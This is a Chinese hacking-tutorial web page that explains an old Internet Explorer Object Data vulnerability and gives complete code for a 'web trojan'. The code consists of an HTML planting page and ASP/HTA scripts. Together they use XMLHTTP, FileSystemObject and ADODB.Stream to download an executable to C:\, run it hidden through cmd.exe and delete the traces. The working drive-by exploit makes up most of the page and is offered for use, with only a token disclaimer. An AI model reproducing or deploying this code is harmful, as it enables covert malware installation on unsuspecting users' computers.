Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > 利用IE ObjectData漏洞实现网页木马
【标  题】:利用IE ObjectData漏洞实现网页木马
【关键字】:c,IE,网页,at,木马,漏洞,Object,Data,IE,ObjectData
【来  源】:网络

利用IE ObjectData漏洞实现网页木马

Your Ad Here 接下来谈些简单利用,以下代码不得用于非法目的,否则后果自负!

原理:
一、Internet Explorer Object Data Remote Execution Vulnerability

利用Internet Explorer Object Data Remote Execution Vulnerability
eEye Digital Security在8月20号公布了这个漏洞,该漏洞是由于HTML中的OBJECT的DATA标签引起的。对于DATA所标记的URL,IE会根据服务器返回的HTTP头中的Content-Type来处理数据,也就是说如果HTTP头中返回的是application/hta等。那么该文件就能够执行,而不管IE的安全级别多高。

------------在木马种植页面中插入如下代码-------------------

<object data="http://127.0.0.1/test.test";;;></object>

然后更改服务器的MIME映射为扩展名.test对应application/hta
-------------------------------
这http://127.0.0.1/test.test内容的HTA页面就会被用户IE所执行。


当然上面提到的再服务器端修改MIME映射,也可以直接适用ASP、JSP等动态脚本来实现相同功能。
例如:可以直接使用如下代码:

------------test.htm(木马种植页面)中插入如下代码-------------------
<object data="http://127.0.0.1/test.asp";;;></object>
-------------------------------

---------test.asp(木马主页面)顶部写如下代码----------------------
<%response.ContentType="application/hta"%>
-------------------------------

二、网页木马原理

所谓网页木马,个人理解:就是当用户浏览某网页时,自动下载并运行某一“木马”程序,进而通过该程序实施控制。
由于HTA具有本地用户权限,相当于一个APPLICATION,因此,我们就可以利用上面的漏洞来实现网页木马的基本功能。
要实现网页木马功能,那么必须要解决木马的下载与运行问题,运行相信大家很容易就可以想到<object id=wsh

classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
,关键是木马的下载。

文件的操作在HTA中主要可以通过fso和ADOSTREAM两个组件来实现,但是FSO比较适合操作文本文件,要实现操作二进制文件还得用到后面的这

个ADOSTREAM组件,但是我们可以发现当一个在IE里面运行的HTA程序是有作用域限制的,因此无法使用ADOSTREAM来操作本地文件。所以我们必

须要在本地运行一个HTA程序,而HTA正是文本文件,所以,我们只要通过FSO来操作生成一个本地的HTA,继而运行该HTA得到我们想要达到的目

的。

至于文件下载还会用到XMLHTTP这个组件,关于这个组件这里就不作介绍。

从上面的分析,我们需要通过两个HTA来实现网页木马,一个是在IE中运行,进而尤其生成本地HTA,再通过本地HTA下载木马,并运行之。好,

我们可以开工了!

三、具体实现过程不作解释,代码如下:


------------test.htm(木马种植页面)中插入如下代码-------------------
<html>
<body>
This is a Test!
If success,,your Os will download a appliction and auto run it!
Of course,Os must be 2k/xp/nt/2003..... and didn't patch.
<object data="http://127.0.0.1/test.asp";;;></object>
</body>
-------------------------------

---------test.asp(木马主页面之一:生成本地HTA)顶部写如下代码----------------------
<%response.ContentType="application/hta"%>

<html>
<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script language="VBScript">
Function HttpDoGet(url)
set oReq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oReq.status=200 then
HttpDoGet=oReq.responseTEXT
SaveFile HttpDoGet,"c:\win.hta" '在C:根目录下生成HTA文件
Set oReq=nothing
End if
End Function
'保存文本文件,生成本地HTA。
sub SaveFile(str,fName)
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile(fName, True)
tf.Write str
tf.Close
exewin()
End sub
'运行函数
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\win.hta",0)
window.close
End Sub
'得到本地HTA文件
HttpDoGet("http://127.0.0.1/ism.mm";;)
</script>
</html>
-------------------------------


---------ism.mm(木马主页面之二:本地HTA页面)顶部写如下代码----------------------
<html>
<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script language="VBScript">
Function HttpDoGet(url)
set oReq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oReq.status=200 then
HttpDoGet=oReq.responseBody
SaveFile HttpDoGet,"c:\win.exe" '在C:根目录下生成exe文件
End If
Set oReq=nothing
End Function
'保存二进制文件,在本地生成exe文件。
sub SaveFile(str,fName)
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objstream.write str
objstream.SaveToFile fName,2
objstream.Close()
set objstream = nothing
exewin()
End sub
'运行函数,执行已经下载的exe程序。
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\win.exe",0)
b=wshshell.run ("cmd.exe /c del c:\win.hta",0)
window.close
End Sub
'得到远程木马程序
HttpDoG et "http://127.0.0.1/win.exe";;

</script>

</html>
解密ASP源代码(1):【上一篇】
WinEggDrop v1.0 源代码(2):【下一篇】
【相关文章】
  • 用JavaScript实现网页上的浮动广告
  • 高质量C++/C编程指南 -- 前言
  • CCProxy Log Stack Overflow 漏洞浅析(1)
  • CCProxy Log Stack Overflow 漏洞浅析(2)
  • P2P 之 UDP穿透NAT的原理与实现 上
  • CCProxy Log Stack Overflow 漏洞浅析(3)
  • P2P 之 UDP穿透NAT的原理与实现 下
  • 高质量C++/C编程指南 -- 第3章 命名规则
  • Turbo C 2.0 函数中文说明大全 上
  • Turbo C 2.0 函数中文说明大全 下
  • 【随机文章】
  • Tcl编程简介(四)
  • 如何成为CBA IPI主任评估师
  • The RCS MINI-HOWTO
  • 安全之门第四期网友问题解答
  • J2EE中的安全(4)
  • 网络技术综合之五:win2000系统进程详解
  • ------专访C++之父Bjarne Stroustrup博士------
  • HEAR 会议电话SoundPoint® Pro
  • 配置Sendmail服务器以防治垃圾邮件
  • 网络三维巨匠Adobe Atmosphere基础教程(6)
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 bbb软讯网络 All Rigths Reserved.